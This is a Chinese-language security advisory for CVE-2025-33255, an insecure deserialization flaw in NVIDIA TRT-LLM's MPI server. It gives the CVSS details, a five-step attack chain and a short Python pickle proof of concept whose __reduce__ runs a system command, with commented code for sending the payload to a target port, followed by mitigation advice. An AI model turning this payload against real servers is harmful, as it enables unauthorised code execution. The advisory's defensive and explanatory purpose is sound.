IPBUF安全漏洞报告
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CVE-2025-33255 CVSS 7.5 高危

CVE-2025-33255 NVIDIA TRT-LLM不安全反序列化漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2025-33255
漏洞类型
不安全的反序列化
CVSS评分
7.5 高危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
NVIDIA TRT-LLM

相关标签

不安全的反序列化代码执行NVIDIATRT-LLM拒绝服务信息泄露

漏洞概述

NVIDIA TRT-LLM在所有平台的MPI服务器组件中存在一处高危漏洞。该漏洞源于不安全的反序列化机制,允许已获得高权限的本地攻击者通过构造特定数据利用此缺陷。成功利用该漏洞可能导致极其严重的后果,包括在系统上执行任意代码、引发拒绝服务攻击、篡改关键数据以及泄露敏感信息。

技术细节

该漏洞的根本原因在于NVIDIA TRT-LLM框架中MPI服务器组件对传入数据的反序列化处理缺乏足够的安全校验。MPI服务器通常用于处理节点间的通信与数据交换,其中涉及对象的序列化与传输。由于未对输入数据进行严格的类型检查或完整性验证,攻击者可以特制恶意的序列化数据流。当服务器接收到这些数据并尝试将其还原为对象时,恶意载荷将被触发。攻击者需要本地访问权限及高权限才能利用此漏洞。利用过程中,攻击者通过发送精心构造的恶意数据包给MPI服务端口,触发不安全的反序列化操作。这种操作可能导致系统加载恶意库或执行任意命令,进而造成远程代码执行(RCE)、系统崩溃(DoS)、数据被篡改或敏感信息泄露。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要获得目标系统的本地高权限访问权限(PR:H)。
STEP 2
2. 分析通信机制
攻击者分析NVIDIA TRT-LLM的MPI服务器组件,确定其处理序列化数据的接口。
STEP 3
3. 构造恶意载荷
攻击者利用不安全的反序列化漏洞,构造包含恶意命令的序列化对象(如Python Pickle或C++对象)。
STEP 4
4. 发送攻击数据
攻击者通过本地接口将恶意序列化数据发送给MPI服务器。
STEP 5
5. 触发漏洞
服务器反序列化数据时执行恶意代码,导致系统被控制、数据泄露或服务崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os import socket # Conceptual PoC for Unsafe Deserialization in MPI Server # This demonstrates how a malicious payload can be crafted. # In a real scenario, this payload would be sent to the vulnerable MPI endpoint. class MaliciousPayload: def __reduce__(self): # The __reduce__ method defines how the object is pickled. # Here we instruct pickle to execute a system command upon unpickling. # Example: creating a file named 'pwned' to prove execution. return (os.system, ('touch /tmp/pwned',)) def generate_exploit(): payload = pickle.dumps(MaliciousPayload()) print(f"[+] Generated malicious payload length: {len(payload)} bytes") # In an actual exploit, this payload would be sent via the MPI protocol. # Example pseudo-code for sending: # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect(('target_ip', mpi_port)) # sock.send(payload) return payload if __name__ == "__main__": data = generate_exploit() print("[+] Payload ready. Send this to the vulnerable TRT-LLM MPI server.")

影响范围

NVIDIA TRT-LLM (所有受支持的平台版本)

防御指南

临时缓解措施
在无法立即安装补丁的情况下,建议限制对受影响系统的本地访问权限,并仅允许受信任的用户运行TRT-LLM服务。同时,应密切监控MPI服务的异常活动。

参考链接

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